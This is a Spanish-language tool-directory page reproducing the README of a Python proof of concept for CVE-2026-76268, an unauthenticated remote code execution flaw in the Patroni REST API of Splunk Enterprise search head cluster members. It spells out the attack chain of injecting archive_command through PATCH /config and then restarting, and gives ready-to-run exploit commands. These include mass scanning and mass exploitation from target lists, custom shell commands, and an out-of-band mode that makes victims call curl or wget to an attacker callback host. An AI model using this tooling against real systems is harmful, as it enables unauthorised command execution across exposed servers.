Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-76268 — Prueba de concepto en Python para CVE-2026-76268: detecta la API REST de Patroni sin autenticación en los miembros del SHC de Splunk y la explota mediante inyección en archive_command para lograr RCE. | Kitploit
Herramientas/GitHubGitHub/murrez/cve-2026-76268
ReconocimientoEscáneres de VulnerabilidadesMapeo de RedesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubmurrez/cve-2026-76268

CVE-2026-76268

Prueba de concepto en Python para CVE-2026-76268: detecta la API REST de Patroni sin autenticación en los miembros del SHC de Splunk y la explota mediante inyección en archive_command para lograr RCE.

832hace 22 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

CVE-2026-76268 — RCE no autenticado en la API REST de Patroni de Splunk Enterprise

PoC en Python 3 para CVE-2026-76268 — Splunk Enterprise en miembros del clúster de search heads (SHC). Aviso SVD-2026-1001.

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76268
Avisohttps://advisory.splunk.com/advisories/SVD-2026-1001
ComponenteSidecar de PostgreSQL (Storage) → API REST de Patroni
Afectados10.2.0 – 10.2.6, 10.4.0 – 10.4.2
Corrección10.2.7, 10.4.3 (y posteriores)
No afectados (este CVE)10.0.x, 9.4.x
CWECWE-306 — falta de autenticación para función crítica
CVSS 3.19.8 Crítico
Marcador de verificaciónPOCBIT-76268-OK
PoCbithttps://pocbit.org/pocs/cve-2026-76268

Descripción

En los miembros del SHC de Splunk Enterprise vulnerables, la API REST de Patroni (parte del sidecar de PostgreSQL introducido en Splunk 10.x) acepta solicitudes que modifican el estado sin autenticación. Un atacante con acceso de red al listener de Patroni puede cambiar la configuración dinámica del clúster y desencadenar la ejecución de comandos del sistema operativo mediante parámetros de PostgreSQL como archive_command (cadena PATCH /config + POST /restart de Patroni).

Esta PoC se comunica directamente con Patroni (normalmente TCP 8008, o un puerto asignado por el IPC Broker de Splunk). No utiliza Splunk Web (8000) ni el puerto de gestión de Splunk (8089). Esa es una superficie distinta (por ejemplo, problemas históricos del sidecar a través del proxy de splunkd).

Condiciones previas para un impacto real:

  • El host es un miembro del SHC (no un nodo independiente solo de indexación sin la pila del sidecar).
  • El sidecar [postgres] está habilitado (disabled = true elimina Patroni).
  • El puerto de Patroni es accesible desde el atacante (a menudo un firewall mal configurado que expone puertos internos del clúster).

Requisitos

cd CVE-2026-76268
pip install -r requirements.txt
  • Python 3.9+
  • Dependencias: requests, urllib3

Descripción general del uso

ModoPropósito
check (predeterminado)Encontrar Patroni en puertos comunes; probar PATCH /config sin autenticación
exploitEjecutar la cadena de RCE de Patroni (archive_command + reinicio)
Masivo--list FILE con -j hilos; escribe JSONL + listas opcionales de hits/exploits

Debes pasar ya sea -t TARGET o --list FILE.

Formatos de objetivo (-t / líneas en --list)

FormatoEjemplo
Solo host (escaneo de puertos predeterminado)192.168.1.50
Host + puerto192.168.1.50:8008
URL completahttp://10.0.0.5:8008

Comentarios en archivos de lista: las líneas que comienzan con # se ignoran.


Modo check

Descubre Patroni y evalúa si los cambios de configuración sin autenticación parecen estar permitidos.

python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt

Qué hace el PoC:

  1. Intenta GET /patroni (o /) en cada puerto de --ports (por defecto 8008,8009,8010,18008).
  2. Envía PATCH /config con un cuerpo JSON vacío y sin credenciales.
  3. Marca exploitable_candidate: true cuando Patroni responde y PATCH no es rechazado con 401/403.

Flags útiles:

FlagSignificado
--portsPuertos de Patroni separados por comas a escanear
--portOmite el escaneo; usa un solo puerto
--timeoutTiempo de espera HTTP (segundos, por defecto 20)
--proxyProxy HTTP(S) para las solicitudes
--outputRegistro JSONL (por defecto cve_2026_76268_results.jsonl)
--vuln-listCandidatos separados por tabulaciones (por defecto hits.txt)
--quietMenos salida en consola
--no-colorTerminal sin color

Código de salida: 0 si exploitable_candidate es true; en caso contrario 1.

Flujo de trabajo recomendado: check masivo → revisar hits.txt → exploit masivo solo en hosts autorizados.


Modo exploit (--mode exploit)

Ejecuta la cadena de inyección de configuración de Patroni. Esto modifica la configuración dinámica activa del sidecar/PostgreSQL en el objetivo.

Cadena

  1. Descubrimiento — igual que en check (a menos que se establezca --port).
  2. Verificación de autenticación — aborta si PATCH /config devuelve 401/403.
  3. PATCH /config — establece wal_level=replica, archive_mode=always, archive_timeout=1 y tu archive_command.
  4. POST /restart — aplica la configuración pendiente de PostgreSQL.
  5. Espera — segundos de --wait-archive (por defecto 3); archive_command se ejecuta en el ciclo de archivado del WAL (no de forma instantánea).

Ejemplos para un solo objetivo

# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888

# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5

# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"

# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10

Explotación masiva

python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888

Salidas:

  • --output — JSONL completo (la explotación masiva usa por defecto cve_2026_76268_exploit.jsonl si mantuvo el nombre predeterminado).
  • --exploited-list — filas donde exploited: true (por defecto exploited.txt).

Indicadores de explotación

IndicadorSignificado
--oob URLURL base; el comando ejecuta curl/wget hacia URL/POCBIT-76268-OK
--commandCadena completa de archive_command de PostgreSQL (anula el valor OOB predeterminado)
--wait-archiveSegundos de espera tras el reinicio antes de que el PoC finalice
--ports / --portDescubrimiento de puertos o puerto fijo de Patroni
--tlsUsar https:// para Patroni (poco común en la documentación predeterminada del sidecar de Splunk)

Comando predeterminado cuando no se establece ni --oob ni --command:
touch /tmp/POCBIT-76268-OK

Código de salida: 0 cuando se aceptan el PATCH y el reinicio (exploited: true). Eso significa que la cadena fue entregada, no que su callback o prueba de archivo ya se haya disparado. Confirme con comprobaciones OOB o del sistema de archivos en el host.

Importante: Patroni puede ignorar los cambios dinámicos si los mismos parámetros están bloqueados en la configuración local (endurecimiento del proveedor). En ese caso la explotación puede fallar incluso en compilaciones antiguas de Splunk.


Salida JSON (ejecución única con -t)

Se imprime en stdout (JSON con formato). El modo masivo escribe un objeto JSON por línea.

Descargar herramienta